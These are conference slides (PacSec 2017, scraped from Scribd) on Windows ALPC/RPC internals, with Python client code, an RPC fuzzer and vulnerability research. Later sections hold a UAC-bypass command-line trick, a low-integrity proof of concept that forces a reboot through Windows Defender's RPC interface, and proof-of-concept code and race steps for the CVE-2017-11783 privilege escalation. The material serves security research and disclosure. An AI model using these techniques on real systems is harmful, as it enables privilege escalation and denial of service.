0% found this document useful (0 votes)
210 views

A View Into ALPC RPC Pacsec 2017

This document provides an overview and agenda for a presentation on Advanced Local Procedure Call (ALPC) and Remote Procedure Call (RPC). The presentation covers topics like ALPC, RPC, user account control (UAC), and advanced features and vulnerabilities. It is delivered by Clément Rouault and Thomas Imbert of PacSec and is based on their curiosity about UAC triggering and exploration of RPC over ALPC.

Uploaded by

huyphamxt1992
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
210 views

A View Into ALPC RPC Pacsec 2017

This document provides an overview and agenda for a presentation on Advanced Local Procedure Call (ALPC) and Remote Procedure Call (RPC). The presentation covers topics like ALPC, RPC, user account control (UAC), and advanced features and vulnerabilities. It is delivered by Clément Rouault and Thomas Imbert of PacSec and is based on their curiosity about UAC triggering and exploration of RPC over ALPC.

Uploaded by

huyphamxt1992
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 50

A view into

ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
A view into ALPC-RPC
& vulnerability
research

CVE-2017-11783 Clément Rouault & Thomas Imbert


Conclusion
PacSec

November 2017

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
ALPC
& vulnerability
research RPC
CVE-2017-11783 UAC
Conclusion
Advanced features & vulnerability research
CVE-2017-11783

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
1 Introduction
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Where does this talk come from ?
A view into
ALPC-RPC

Introduction

ALPC

RPC User Account Control


UAC We were curious about the UAC.
Advanced features
& vulnerability Only API we found was ShellExecuteA
research

CVE-2017-11783
How to trigger the UAC manually ?
Conclusion We knew that UAC may be triggered by RPC
We knew that ALPC allows to perform RPC

So let’s explore the RPC-over-ALPC !

Clément Rouault
& Thomas Imbert
PacSec
Existing research
A view into
ALPC-RPC

Introduction

ALPC

RPC Talks
UAC LPC & ALPC Interfaces - Recon 2008 - Thomas Garnier
Advanced features
& vulnerability All about the ALPC, RPC, LPC, LRPC in your PC -
research
Syscan 2014 - Alex Ionescu
CVE-2017-11783

Conclusion
ALPC Fuzzing Toolkit - HITB 2014 - Ben Nagy

Tool
RpcView (Jean-Marie Borello, Julien Boutet, Jeremy
Bouetard, Yoanne Girardin)

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
2 ALPC
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Overview
A view into
ALPC-RPC

Introduction

ALPC ALPC
RPC
Advanced Local Procedure Call
UAC

Advanced features Server listening on an ALPC Port


& vulnerability
research Client connecting to that port
CVE-2017-11783

Conclusion ALPC Message


An ALPC message is composed of two parts
PORT_MESSAGE: The header and data of the message
ALPC_MESSAGE_ATTRIBUTES: Attributes header and
data for advanced features

Clément Rouault
& Thomas Imbert
PacSec
PORT_MESSAGE
A view into
ALPC-RPC

Introduction 0:000> dt -r combase!_PORT_MESSAGE


ALPC +0x000 u1
+0x000 s1
RPC
+0x000 DataLength : Int2B // Size of DATA without header
UAC +0x002 TotalLength : Int2B // Size of header + DATA
Advanced features +0x000 Length : Uint4B
& vulnerability +0x004 u2
research
+0x000 s2
CVE-2017-11783 +0x000 Type : Int2B // Message Type
Conclusion +0x002 DataInfoOffset : Int2B
+0x000 ZeroInit : Uint4B
0x008 ClientId : _CLIENT_ID
+0x000 UniqueProcess : Ptr32 Void // Identify the client
+0x004 UniqueThread : Ptr32 Void // Identify the client
+0x008 DoNotUseThisField : Float
+0x010 MessageId : Uint4B // Identify msg for reply
+0x014 ClientViewSize : Uint4B
+0x014 CallbackId : Uint4B

Clément Rouault
& Thomas Imbert
PacSec
APIs
A view into
ALPC-RPC

Introduction

ALPC Server
RPC NtAlpcCreatePort
UAC
NtAlpcAcceptConnectPort
Advanced features
& vulnerability NtAlpcSendWaitReceivePort
research

CVE-2017-11783
TpCallbackSendAlpcMessageOnCompletion
Conclusion Used by rpcrt4.dll

Client
NtAlpcConnectPort
NtAlpcDisconnectPort
NtAlpcSendWaitReceivePort

Clément Rouault
& Thomas Imbert
PacSec
Python implementation
A view into import windows # https://github.com/hakril/PythonForWindows
ALPC-RPC def alpc_server():
server = windows.alpc.AlpcServer(PORT_NAME)
Introduction msg = server.recv() # Wait for a connection message
ALPC assert msg.type & 0xfff == LPC_CONNECTION_REQUEST
RPC
server.accept_connection(msg)
msg = server.recv() # Wait for a real message
UAC
print("[SERV] Received message: <{0}>".format(msg))
Advanced features print("[SERV] Message data: <{0}>".format(msg.data))
& vulnerability assert msg.type & 0xfff == LPC_REQUEST
research
msg.data = "REQUEST ’{0}’ DONE".format(msg.data)
CVE-2017-11783 server.send(msg) # Reply as we kept the same MessageId
Conclusion
def alpc_client():
client = windows.alpc.AlpcClient(PORT_NAME)
print("[CLIENT] Connected: {0}".format(client))
response = client.send_receive("Hello world !")
print("[CLIENT] Response: <{0}>".format(response.data))

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC
RPC Bind
RPC call 3 RPC
EpMapper
RPC Bind
UAC

Advanced features
RPC call
& vulnerability EpMapper
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Overview
A view into
ALPC-RPC

Introduction
Remote Procedure Call
ALPC

RPC
RPC Bind
RPC call
Server
EpMapper
One or many endpoints
UAC

Advanced features One or many interfaces


& vulnerability
research Each interface has methods
CVE-2017-11783

Conclusion Endpoints
ncacn_ip_tcp: IP+port
ncacn_np: \pipe\my_endpoint
ncalrpc: \RPC Control\my_alpc_port
...
Clément Rouault
& Thomas Imbert
PacSec
RpcView
A view into
ALPC-RPC

Introduction

ALPC

RPC
RPC Bind
RPC call
EpMapper

UAC

Advanced features
& vulnerability
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
RPC call steps
A view into
ALPC-RPC

Introduction

ALPC

RPC
RPC Bind
RPC call
EpMapper

UAC

Advanced features
& vulnerability
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
RpcBindRequest
A view into
ALPC-RPC
class ALPC_RPC_BIND(ctypes.Structure):
Introduction
_pack_ = 1
ALPC _fields_ = [
RPC ("request_type", gdef.DWORD),
RPC Bind ("UNK1", gdef.DWORD),
RPC call ("UNK2", gdef.DWORD),
EpMapper
("target", gdef.RPC_IF_ID), # Interface GUID + Version
UAC ("flags", gdef.DWORD), # Bind to NDR32 | NDR64 | ??
Advanced features ("if_nb_ndr32", gdef.USHORT), # If number for NDR32
& vulnerability ("if_nb_ndr64", gdef.USHORT),
research
("if_nb_unkn", gdef.USHORT),
CVE-2017-11783 ("PAD", gdef.USHORT),
Conclusion
("register_multiple_syntax", gdef.DWORD),
("use_flow", gdef.DWORD),
("UNK5", gdef.DWORD),
("maybe_flow_id", gdef.DWORD),
("UNK7", gdef.DWORD),
("some_context_id", gdef.DWORD),
("UNK9", gdef.DWORD),
]

Clément Rouault
& Thomas Imbert
PacSec
Build a minimal request & reponse
A view into
ALPC-RPC

Introduction request
ALPC
req = ALPC_RPC_BIND()
RPC req.request_type = gdef.RPC_REQUEST_TYPE_BIND
RPC Bind
req.target = gdef.RPC_IF_ID(uuid, *syntaxversion)
RPC call
EpMapper
req.flags = gdef.BIND_IF_SYNTAX_NDR32
req.if_nb_ndr32 = requested_if_nb
UAC
req.if_nb_ndr64 = 0
Advanced features req.if_nb_unkn = 0
& vulnerability
research
req.register_multiple_syntax = False
CVE-2017-11783

Conclusion Response
Also a ALPC_RPC_BIND
request_type == RPC_RESPONSE_TYPE_BIND_OK(1)
Some fields may change to reflect the request
actually handled by the server
Clément Rouault
& Thomas Imbert
PacSec
RpcCall
A view into
ALPC-RPC
class ALPC_RPC_CALL(ctypes.Structure):
Introduction
_pack_ = 1
ALPC _fields_ = [
RPC ("request_type", gdef.DWORD),
RPC Bind ("UNK1", gdef.DWORD),
RPC call ("flags",gdef.DWORD),
EpMapper
("request_id", gdef.DWORD),
UAC ("if_nb", gdef.DWORD),
Advanced features ("method_offset", gdef.DWORD),
& vulnerability ("UNK2", gdef.DWORD),
research
("UNK3", gdef.DWORD),
CVE-2017-11783 ("UNK4", gdef.DWORD),
Conclusion
("UNK5", gdef.DWORD),
("UNK6", gdef.DWORD),
("UNK7", gdef.DWORD),
("UNK8", gdef.DWORD),
("UNK9", gdef.DWORD),
("UNK10", gdef.DWORD),
("UNK11", gdef.DWORD),
]

Clément Rouault
& Thomas Imbert
PacSec
Build a minimal RPC Call
A view into
ALPC-RPC

Introduction

ALPC

RPC req = ALPC_RPC_CALL()


RPC Bind
RPC call
req.request_type = gdef.RPC_REQUEST_TYPE_CALL
EpMapper req.flags = 0
UAC
req.request_id = 0x11223344
req.if_nb = interface_nb
Advanced features
& vulnerability
req.method_offset = method_offset
research return buffer(req)[:] + params
CVE-2017-11783

Conclusion
A lot of fields are not identified yet
params is the marshalling of the method parameters

Clément Rouault
& Thomas Imbert
PacSec
Network Data Representation (NDR)
A view into
ALPC-RPC

Introduction
Network Data Representation (NDR)
ALPC "The role of NDR is to provide a mapping of IDL
RPC data types onto octet streams"
RPC Bind
RPC call
EpMapper
Documented: http://pubs.opengroup.org/
UAC
onlinepubs/9629399/chap14.htm
Advanced features
& vulnerability
research
Microsoft Transfert Syntax
CVE-2017-11783 71710533-BEBA-4937-8319-B5DBEF9CCC36 v1.0 NDR
Conclusion
8A885D04-1CEB-11C9-9FE8-08002B104860 v2.0 NDR64
B4537DA9-3D03-4F6B-B594-52B2874EE9D0 v1.0 ???
Please tell us if you find out this one :)

We implemented part of NDR32 in Python for this


project
Clément Rouault
& Thomas Imbert
PacSec
RPCClient - Implem
A view into
ALPC-RPC
import windows.rpc
Introduction from windows.rpc import ndr
ALPC
client = windows.rpc.RPCClient(r"\RPC Control\HelloRpc")
RPC iid = client.bind("41414141-4242-4343-4444-45464748494a")
RPC Bind
RPC call
ndr_params = ndr.make_parameters([ndr.NdrLong] * 2)
EpMapper resp = client.call(iid, 1, ndr_params.pack([41414141, 1010101]))
result = ndr.NdrLong.unpack(ndr.NdrStream(resp))
UAC
print(result) # 42424242
Advanced features client.call(iid, 0, ndr.NdrUniqueCString.pack(
& vulnerability
research "Hello from Python !\x00"))
iid2 = client.bind("99999999-9999-9999-9999-999999999999")
CVE-2017-11783
client.call(iid2, 0, ndr.NdrCString.pack(
Conclusion "Hello again from IF2 !\x00"))

Clément Rouault
& Thomas Imbert
PacSec
EpMapper ?
A view into
ALPC-RPC
How do we get the endpoint for a given interface ?
Introduction

ALPC
EpMapper !
RPC
RPC Bind
RPC call
List endpoints for a given Interface
EpMapper
Alpc endpoint: \RPC Control\epmapper
UAC

Advanced features
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
& vulnerability
research Method 7: ept_map_auth
CVE-2017-11783

Conclusion ept_map_auth parameters


A well known PSID
protocol tower
Documented binary-format
Used to describe endpoints protocols
http://pubs.opengroup.org/onlinepubs/
Clément Rouault
& Thomas Imbert
9629399/apdxl.htm
PacSec
Simple EpMapper request
A view into
ALPC-RPC

Introduction

ALPC

RPC
Call re-implemented in full Python
RPC Bind
RPC call
>>> windows.rpc.find_alpc_endpoints("880fd55e-43b9-11e0-b1a8-cf4edfd72085",
EpMapper
nb_response=2)
[UnpackTower(protseq=’ncalrpc’,
UAC endpoint=bytearray(b’LRPC-b0cb073a897f2102a8’),
address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,
Advanced features syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>),
& vulnerability UnpackTower(protseq=’ncalrpc’,
research endpoint=bytearray(b’OLE8C19EF53D4A32E3D54196ECDB935’),
address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,
CVE-2017-11783 syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>)]
Conclusion
>>> client = windows.rpc.find_alpc_endpoint_and_connect(
"be7f785e-0e3a-4ab7-91de-7e46e443be29", version=(0,0))
>>> client
<windows.rpc.client.RPCClient object at 0x044EBE30>
>>> client.alpc_client.port_name
’\\RPC Control\\LRPC-de2d0664c8d8d755b2’

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
4 UAC
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
RAiLaunchAdminProcess
A view into
ALPC-RPC
Interface
Introduction

ALPC
appinfo.dll
RPC 201ef99a-7fa0-444c-9399-19ba84f12a1a v2.0
UAC
Method 0: RAiLaunchAdminProcess
Advanced features
& vulnerability request_tst = RaiLaunchAdminProcessParameters.pack([
research "C:\\windows\\system32\\mspaint.exe\x00", # Application Path
CVE-2017-11783 "Yolo-Commandline Whatever\x00", # Commandline
Conclusion
1, # UAC-Request Flag
gdef.CREATE_UNICODE_ENVIRONMENT, # dwCreationFlags
"\x00", # StartDirectory
"WinSta0\\Default\x00", # Station
# Startup Info
(None, # Title
1, 2, 3, 4, 5, 6, 7, 1, # Startupinfo: dwX to dwFlags
5, # wShowWindow
# Point: Use MonitorFromPoint to setup StartupInfo.hStdOutput
(0, 0)),
0x10010, # Window-Handle to know if UAC can steal focus
Clément Rouault 0xffffffff]) # UAC Timeout
& Thomas Imbert
PacSec
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
The bug
A view into
ALPC-RPC

Introduction We fully control the CommandLine


ALPC

RPC
appinfo!AiIsEXESafeToAutoApprove
UAC

Advanced features
Bypass UAC for trusted binary:
& vulnerability g_lpAutoApproveEXEList
research

CVE-2017-11783 special case for mmc.exe


Conclusion Command line is parsed to analyse the target .msc
"," is a valid commandline separator for the parser

We can craft the following Commandline


XXX,wf.msc MY_BAD_MSC
appinfo.dll will think that wf.msc is the target
mmc.exe will load the malicious MY_BAD_MSC
Clément Rouault
& Thomas Imbert
PacSec
Bypass
A view into
ALPC-RPC

Introduction

ALPC
Execution from malicious MSC
RPC

UAC
Can use ActiveX Control - Flash object MMC
Advanced features
template
& vulnerability
research Slight modification allows to run javascript
CVE-2017-11783 JS fonction external.ExecuteShellCommand
Conclusion

Full walkthrough was presented at beerump


http://www.rump.beer/2017/slides/from_alpc_
to_uac_bypass.pdf
It’s only an UAC bypass, can we go further ?

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC 5 Advanced features & vulnerability research


Advanced features
& vulnerability
ALPC messages features
research
ALPC messages features
Fuzzing
Fuzzing
Results
Results
CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
ALPC Message Attributes structure
A view into
ALPC-RPC

Introduction Structures appended after attributes’ header


ALPC

RPC

UAC

Advanced features
& vulnerability
research
ALPC messages features
Fuzzing
Results

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
ALPC Message Attributes usage
A view into
ALPC-RPC

Introduction

ALPC
Security Security QoS options
RPC

UAC View Data sent in shared memory


Advanced features
& vulnerability
research Context Expose message context (seq, ID)
ALPC messages features
Fuzzing
Results
Handle Send objects handle
CVE-2017-11783

Conclusion
Token Expose tokens ID

Direct Event for async completion

Work on behalf Ticket for container impersonation


Clément Rouault
& Thomas Imbert
PacSec
Example ALPC Handle Attribute
A view into
ALPC-RPC
Sharing a file handle
Introduction

ALPC
Client
# Open the file we want to share
RPC f = open("C:\\Windows\\System32\\rpcrt4.dll", ’rb’)
# AlpcMessage is initialized with all attributes allocated
UAC
msg = windows.alpc.AlpcMessage()
Advanced features # Setup ALPC_MESSAGE_HANDLE_ATTRIBUTE
& vulnerability msg.handle_attribute.Flags = gdef.ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS
research msg.handle_attribute.Handle = windows.utils.get_handle_from_file(f)
ALPC messages features
msg.handle_attribute.ObjectType = 0
Fuzzing
msg.handle_attribute.DesiredAccess = 0
Results
# Set handle as valid and send it
msg.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_HANDLE_ATTRIBUTE
CVE-2017-11783 client.send_receive(msg)

Conclusion

Server
# server is AlpcServer
msg = server.recv()
if msg.type & 0xfff == LPC_REQUEST:
if msg.handle_is_valid and msg.handle_attribute.Handle:
print("Object type = <{0}>".format(msg.handle_attribute.ObjectType))
print("Name = <{0}>".format(get_filename_from_handle(msg.handle_attribute.Handle)))
# Output:
# Object type = <1>
Clément Rouault # Name = <\Device\HarddiskVolume4\Windows\System32\rpcrt4.dll>
& Thomas Imbert
PacSec
Vulnerability research
A view into
ALPC-RPC

Introduction

ALPC

RPC Over 150 RPC interfaces


UAC Target: privileged interfaces accessible from low integrity
Advanced features
& vulnerability
research How to scale ?
ALPC messages features
Fuzzing
Results Manual reverse engineering (Advanced features and
CVE-2017-11783 Interface methods)
Conclusion
Simple RPC MITM performing mutations on NDR
data stream (built on top of a RPC debugger)
Forging RPC calls and target all the exposed methods

Clément Rouault
& Thomas Imbert
PacSec
RPC Forge
A view into
ALPC-RPC

Introduction

ALPC
RPC Runtime rejects malformated NDR
RPC Marshalled stream must match the arguments types
UAC 1 Connect to the interface through epmapper or fixed
Advanced features
& vulnerability
ALPC endpoint name
research
ALPC messages features
2 Generate the call arguments (correct types and
Fuzzing
Results
structures) based on Sulley generator
CVE-2017-11783 3 Perform the call with marshalled generated
Conclusion arguments
4 Extract any context_handle from the returned
stream (to fuzz methods expecting a valid
context_handle)

Clément Rouault
& Thomas Imbert
PacSec
Example RPC Forge
A view into
ALPC-RPC
Interface code generated from customized RPCView
Introduction

ALPC
Generation for interface in iphlpsvc.dll
RPC from rpc_forge import *

UAC # UUID 552d076a-cb29-4e44-8b6a-d15e59e2c0af VERSION 1.0 DLL iphlpsvc.dll


interface = Interface("552d076a-cb29-4e44-8b6a-d15e59e2c0af", (1,0), [
Advanced features Method("IpTransitionProtocolApplyConfigChanges", 1, In(NdrByte)),
& vulnerability Method("IpTransitionProtocolApplyConfigChangesEx", 1,
research In(NdrByte),
ALPC messages features In(Range(0,65535) / NdrLong),
Fuzzing In(SizeIs(2) / NdrCString)
Results ),
])
CVE-2017-11783
context_handles = set()
Conclusion
method_number = interface.find_method_by_name("IpTransitionProtocolApplyConfigChangesEx")
arg = interface.methods[method_number].forge_call(context_handles)
arg
’\x01PPP\x05\x00\x00\x00\x05\x00\x00\x00????\x00PPP’ # ’P’ are padding
interface.connect()
res = interface.call(method_number, arg)
res
’\x00\x00\x00\x00\r\xf0\xad\xba’

RPCForge will be released on GitHub after the


Clément Rouault
& Thomas Imbert conference.
PacSec
Type of bugs found
A view into
ALPC-RPC

Introduction

ALPC
Unique Pointers can be null (NULL Dereference)
RPC

UAC
Input parameters used as offset without Range
Advanced features attribute (Out Of Bound Access)
& vulnerability
research Different context_handle in the same process /
interface must be defined as strict /
ALPC messages features
Fuzzing
Results
type_strict_context_handle (Type confusion)
CVE-2017-11783

Conclusion Client privileges must be checked (or impersonated)


before performing privileged actions (Logic bugs)
⇒ service DOS, system DOS (BSOD
CRITICAL_PROCESS_DIED) or privilege escalation

Clément Rouault
& Thomas Imbert
PacSec
Example MS AV PoC
A view into
ALPC-RPC
rpcrt4.dll leaks server heap memory in the received
Introduction
buffer (NtAlpcSendWaitReceivePort)
ALPC

RPC Microsoft Antimalware Service - QueryVersion and


UAC
ForcedReboot
Advanced features # Switch to low integrity
& vulnerability windows.current_process.token.integrity = SECURITY_MANDATORY_LOW_RID
research # Connect and bind the Windows Defender MpSvc.dll interface
ALPC messages features
MS_AV_ALPC = r"\RPC Control\IMpService77BDAF73-B396-481F-9042-AD358843EC24"
Fuzzing client = windows.rpc.RPCClient(MS_AV_ALPC)
Results iid = client.bind("c503f532-443a-4c69-8300-ccd1fbdb3839", version=(2,0))
# Call ServerMpQueryEngineVersion 41 (method number might change between versions)
CVE-2017-11783
print client.call(iid, 41, "")
Conclusion # Call ServerMpRpcForcedReboot 83 (same)
client.call(iid, 83, "\0"*4)

Then it reboots !
Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
6 CVE-2017-11783
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Curious about shared memory
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC
How does shared memory over ALPC works ?
Advanced features
& vulnerability
research
Available for any NCALRPC server ?
CVE-2017-11783 What data are fetched from shared mem ?
Conclusion Shared mem protection in client / server
Read only / RW / RWX ?

Clément Rouault
& Thomas Imbert
PacSec
ALPC and shared memory
A view into
ALPC-RPC

Introduction

ALPC
Shared memory exists in ALPC as View
RPC

UAC

Advanced features
Alpc View: Reversing the NTAPI
& vulnerability
research ntdll!NtAlpcCreatePortSection
CVE-2017-11783
ntdll!NtAlpcCreateSectionView
Conclusion
ntdll!NtAlpcSendWaitReceivePort
nt!AlpcpCaptureViewAttribute
nt!AlpcpExposeViewAttribute

We saw (after reversing) that all this had already been


documented by Alex Ionescu

Clément Rouault
& Thomas Imbert
PacSec
A logical error
A view into
ALPC-RPC
Flag 0x40000 | SECURE_VIEW
Introduction

ALPC
Ntoskrnl
RPC

UAC
ntdll!NtAlpcCreatePortSection &
Advanced features nt!captureViewAttributeInternal
& vulnerability
research Secure the view (READ_ONLY) when sent
CVE-2017-11783

Conclusion rpcrt4
Handle call requests with a view
Secured views’ data are not copied before NDR
deserialization

Vulnerability
The kernel does NOT PREVENT the client to
Clément Rouault
& Thomas Imbert
VirtualProtect the view to READ_WRITE again
PacSec
Testing our hypothesis
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
The server
& vulnerability int Pouet(handle_t, const unsigned char* trololo)
research {
std::cout << "Priting parameter: " << trololo << std::endl;
CVE-2017-11783
std::cout << "Waiting 1 second" << std::endl;
Conclusion Sleep(1000);
std::cout << "RE-Priting parameter: " << trololo << std::endl;
return 42;
}

Clément Rouault
& Thomas Imbert
PacSec
Rpc call with secure view
A view into
ALPC-RPC

Introduction
Pointer arguments directly point to the shared
ALPC
memory
RPC

UAC 0:005> u eip L1


Example1ExplicitServer!Pouet
Advanced features 0139a1d0 55 push ebp
& vulnerability 0:005> da poi(trololo)
research 00a5000c "My First Message"
0:005> !address 00a5000c
CVE-2017-11783

Conclusion Usage: MappedFile


Base Address: 00a50000
End Address: 00a51000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00040000 MEM_MAPPED
Mapped file name: PageFile

0:005> dc 00a50000
00a50000 00000011 00000000 00000011 4620794d ............My F
00a50010 74737269 73654d20 65676173 50505000 irst Message.PPP
00a50020 00000000 00000000 00000000 00000000 ................

Clément Rouault
& Thomas Imbert
PacSec
Testing our hypothesis
A view into
ALPC-RPC import windows.rpc
from windows.rpc import ndr
import windows.generated_def as gdef
Introduction
client = windows.rpc.RPCClient(r"\RPC Control\HelloRpc")
ALPC iid = client.bind("99999999-9999-9999-9999-999999999999")
RPC cur_proc = windows.current_process

UAC # Create Section


section = client.alpc_client.create_port_section(0x40000, 0, 0x1000)
Advanced features view = client.alpc_client.map_section(section[0], 0x1000)
& vulnerability # Forge a call
research IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])]
call_req = client._forge_call_request(IF_NUMBER, 2, "")
CVE-2017-11783 # Pack the NDR for the parameter
params = ndr.NdrCString.pack("My First Message\x00")
Conclusion # New message with a View
p = windows.alpc.AlpcMessage(0x2000)
p.port_message.data = call_req + ndr.NdrLong.pack(len(params) + 0x200) + "\x00" * 40
p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE
p.view_attribute.Flags = 0x40000
p.view_attribute.ViewBase = view.ViewBase
p.view_attribute.SectionHandle = view.SectionHandle
p.view_attribute.ViewSize = len(params)
cur_proc.write_memory(view.ViewBase, params) # Write NDR to view

client.alpc_client.send(p)

cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None)


import time; time.sleep(0.5)
Clément Rouault cur_proc.write_memory(view.ViewBase + 3*4, "VULNERABLE !\x00")
& Thomas Imbert
PacSec
Testing our hypothesis - 2
A view into
ALPC-RPC

Introduction
The server
ALPC int Pouet(handle_t, const unsigned char* trololo)
{
RPC std::cout << "Priting parameter: " << trololo << std::endl;
std::cout << "Waiting 1 second" << std::endl;
UAC Sleep(1000);
std::cout << "RE-Priting parameter: " << trololo << std::endl;
Advanced features return 42;
& vulnerability }
research

CVE-2017-11783

Conclusion The result !

This should allow us to trigger TOCTOU &


Clément Rouault
double-fetch in some services
& Thomas Imbert
PacSec
Finding a target
A view into
ALPC-RPC
Target StorSvc
Introduction

ALPC be7f785e-0e3a-4ab7-91de-7e46e443be29 v0.0


RPC Method 14: SvcMoveFileInheritSecurity
UAC

Advanced features
& vulnerability
PseudoCode
research
RPC_STATUS SvcMoveFileInheritSecurity(handle_t AutoBindingHandle, wchar_t *OldFileName,
CVE-2017-11783 wchar_t *NewFileName, DWORD Flags)
{
Conclusion if ( RpcImpersonateClient(0) == RPC_S_OK )
{
if ( MoveFileExW(OldFileName, NewFileName, Flags) )
{
RpcRevertToSelf();
if ( InitializeAcl(&pAcl, 8, 2) )
{
if ( SetNamedSecurityInfoW(NewFileName, /*[...]*/) != ERROR_SUCCESS )
MoveFileExW(NewFileName, OldFileName, Flags);
}
// [...]

Clément Rouault Last MoveFileExW done as NT Authority\SYSTEM


& Thomas Imbert
PacSec
Exploit
A view into
ALPC-RPC
Requirements
Introduction

ALPC
Reach the vulnerable MoveFileEx
RPC First MoveFileEx must SUCCEED
UAC SetNamedSecurityInfoW must FAIL
Advanced features Win the race: change params in between the two MoveFile
& vulnerability
research

CVE-2017-11783 Steps
Conclusion
Setup files src, dst and new_src in %LocalAppData%\Low
Lock the destination file (dst) using oplock
Call SvcMove(src, dst, MOVEFILE_REPLACE_EXISTING)
When the lock’s callback triggers
Change the function parameters (shared mem)
dst ⇒ new_src & src ⇒ new_dst
Remove WRITE_DAC for system in the ACL of new_src
Clément Rouault MoveFileEx(new_src, new_dst) run as SYSTEM
& Thomas Imbert
PacSec
DEMO
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
research
DEMO TIME !
CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Agenda
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC

Advanced features
& vulnerability
7 Conclusion
research

CVE-2017-11783

Conclusion

Clément Rouault
& Thomas Imbert
PacSec
Conclusion
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC Complex subject


Advanced features
& vulnerability Few RPC servers expect a custom client
research

CVE-2017-11783
A lot of work still need to be done
Conclusion We hope our open-source implementation helps
others start on this topic
Thanks to Microsoft for their quick responses and fix

Clément Rouault
& Thomas Imbert
PacSec
Questions?
A view into
ALPC-RPC

Introduction

ALPC

RPC

UAC Thank you for your attention


Advanced features
& vulnerability
research

CVE-2017-11783

Conclusion

https://github.com/hakril/PythonForWindows
https://portal.msrc.microsoft.com/en-US/
security-guidance/advisory/CVE-2017-11783

Clément Rouault @hakril


& Thomas Imbert
PacSec @masthoon

You might also like